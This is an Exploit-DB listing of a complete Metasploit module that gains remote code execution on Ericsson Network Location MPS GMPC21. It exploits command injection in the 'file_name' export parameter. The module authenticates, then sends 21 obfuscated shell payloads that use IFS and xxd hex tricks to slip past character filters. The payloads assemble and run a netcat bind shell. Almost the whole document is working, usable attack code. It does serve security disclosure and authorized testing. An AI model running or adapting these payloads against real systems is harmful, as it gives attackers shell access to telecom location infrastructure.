Ericsson Network Location MPS GMPC21 – Remote Code Execution (RCE) (Metasploit)

  • 作者: AkkuS
    日期: 2021-11-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50468/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',
    'Description'=> %q(
    This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.
    The "export" feature in various parts of the application is vulnerable.
    It is a feature made for the information in the tables to be exported to the server and imported later when required.
    Export operations contain "file_name" parameter.
    This parameter is assigned as a variable between the server commands on the backend side.
    It allows command injection with preventions bypass operation.
    
    "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
    
    /////// This 0day has been published at DEFCON29-PHV Village. /////// 
    
    ),
    'Author' => [
    'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2021-'],
    ['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],
    ['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
    ['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
    ],
    'Privileged' => true,
    'Payload'=>
    {
    'DisableNops' => true,
    'Space' => 512,
    'Compat'=>
    {
    'PayloadType' => 'cmd'
    }
    },
    'DefaultOptions' =>
    {
    'WfsDelay' => 600,
    'RPORT' => 10083,
    'SSL' => true,
    'PAYLOAD' => 'cmd/unix/bind_netcat'
    },
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Targets'=> [['Ericsson NLG', {}]],
    'DisclosureDate' => 'Apr 21 2021',
    'DefaultTarget'=> 0)
    )
    register_options [
    OptString.new('USERNAME',[true, 'NLG Username']),
    OptString.new('PASSWORD',[true, 'NLG Password']),
    OptString.new('TARGETURI',[true, 'Base path for NLG application', '/'])
    ]
    end
    ######################################################
    #
    # There are a total of 20 vulnerable areas. 
    # These areas are located in cells,psap,numbering,smpp fields.
    # One request for each of these fields has been used for exploitation.
    # These are listed below.
    #
    # /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
    # /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1
    # /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
    # /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1
    #
    ######################################################
    
    # for Origin and Referer headers
    def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
    end
    # split strings to salt
    def split(data, string_to_split)
    word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
    end
    
    def cluster
    
    res = send_request_cgi({
    # clusters information to API directories
    'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
    'method'=> 'GET'
    })
    
    if res && res.code == 200 && res.body =~ /version/
    cls_version = split(res.body, "version")
    cls_node_type = split(res.body, "node_type")
    cls_name = split(res.body, "cluster_name")
    cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
    return cls_version, cls_node_type, cls_name, cls_id
    else
    fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
    end 
    end
    
    def permission_check(token)
    # By giving numbers to the vulnerable areas, we can easily use them in JSON format.
    json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
    parse = JSON.parse(json_urls)
    cls_id = cluster[3]
    cls_node_type = cluster[1]
    
    i = 1
    while i <= 6 do
     link = parse["#{i}"]
     i +=1
     # The cells export operation returns 409 response when frequent requests are made. 
     # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. 
     if link == "/cells/gsm/cgi_cells/"
     sleep(7)
     end
     filename = Rex::Text.rand_text_alpha_lower(6)
     
     res = send_request_cgi({
     'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
     'method'=> 'GET',
     'headers' =>
     {
     'X-Auth-Token' => token,
     'Origin' => "#{peer}"
     }
     })
     
     if res && res.code == 403 then # !200 
     next
     elsif res && res.code == 200 
     return link, true 
     elsif res && res.code == 400 
     return link, true 
     elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
     return "no link", false 
     end 
    end
    end
    
    def check
    # check connection and login
    token = login(datastore['USERNAME'], datastore['PASSWORD'])
    res = send_request_cgi({
    # product information check 
    'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
    'method'=> 'GET',
    'headers' =>
    {
    'X-Auth-Token' => token,
    'Origin' => "#{peer}"
    }
    })
    
    if res && res.code == 200 && res.body =~ /version/
    version = split(res.body, "version")
    pnumber = split(res.body, "product_number")
    print_status("Product Number:#{pnumber} - Version:#{version}")
    return CheckCode::Appears
    else
    return CheckCode::Safe
    end
    end
    
    def login(user, pass)
    
    json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'
    
    res = send_request_cgi(
    {
    'method' => 'POST',
    'ctype'=> 'application/json',
    'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
    'headers' =>
    {
    'Origin' => "#{peer}"
    },
    'data' => json_login
    })
    
    if res && res.code == 200 && res.body =~ /true/
    auth_token = split(res.body, "authToken")
    return auth_token
    else
    fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')
    end 
    end
    
    def prep_payloads(token, link)
    fifo = Rex::Text.rand_text_alpha_lower(4)
    #/ = 2F - y
    #; = 3B - z
    #| = 7C - p
    #>&= 3E26 - v
    #>/= 3E2F - g
    #> = 3E - k
    #< = 3C - c 
    #' = 27 - t
    #$ = 24 - d
    #\ = 5C - b
    #! = 21 - u
    #" = 22 - x 
    #( = 28 - m
    #) = 29 - i
    #, = 2C - o
    #_ = 5F - a
    
    # echo `xxd -r -p <<< 2F`>y
    payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '
    # echo `xxd -r -p <<< 3B`>z
    payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", ' 
    #echo `xxd -r -p <<< 7C`>p
    payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 3E26`>v
    payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 3E`>k
    payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 27`>t
    payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 24`>d
    payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 5C`>b
    payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 21`>u
    payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 22`>x
    payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", ' 
    #echo `xxd -r -p <<< 28`>m
    payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 29`>i
    payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 2C`>o
    payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 5F`>a
    payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 3C`>c
    payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl") +'", '
    #echo `xxd -r -p <<< 3E2F`>g
    payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl") +'", ' 
    #echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1
    payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl") +'", ' 
    #echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2
    payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl") +'", ' 
    #echo `cat p1` `cat p2` > 1.sh 
    payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl") +'", '
    #chmod +x 1.sh
    payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", '
    #sh 1.sh
    payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}'
    
    if link == "/cells/gsm/cgi_cells/"
    print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")
    end 
    
    parse = JSON.parse(payloads)
    cls_id = cluster[3]
    cls_node_type = cluster[1]
    i = 1
    while i <= 21 do
     pay = parse["#{i}"]
     i +=1
     if link == "/cells/gsm/cgi_cells/"
     sleep(7)
     end
     send_payloads(cls_id, cls_node_type, token, link, pay)
    end
    end
    
    
    def send_payloads(id, type, token, link, pay) 
    
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay),
    'method'=> 'GET',
    'headers' =>
    {
    'X-Auth-Token' => token,
    'Origin' => "#{peer}"
    }
    })
    
    end
    
    ##
    # Exploiting phase
    ##
    def exploit
     
    unless Exploit::CheckCode::Appears == check
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])
    unless true == permission_check(auth_token)[1]
    fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')
    else 
    perm_link = permission_check(auth_token)[0]
    print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")
    end 
    
    prep_payloads(auth_token, perm_link)
    
    end
    end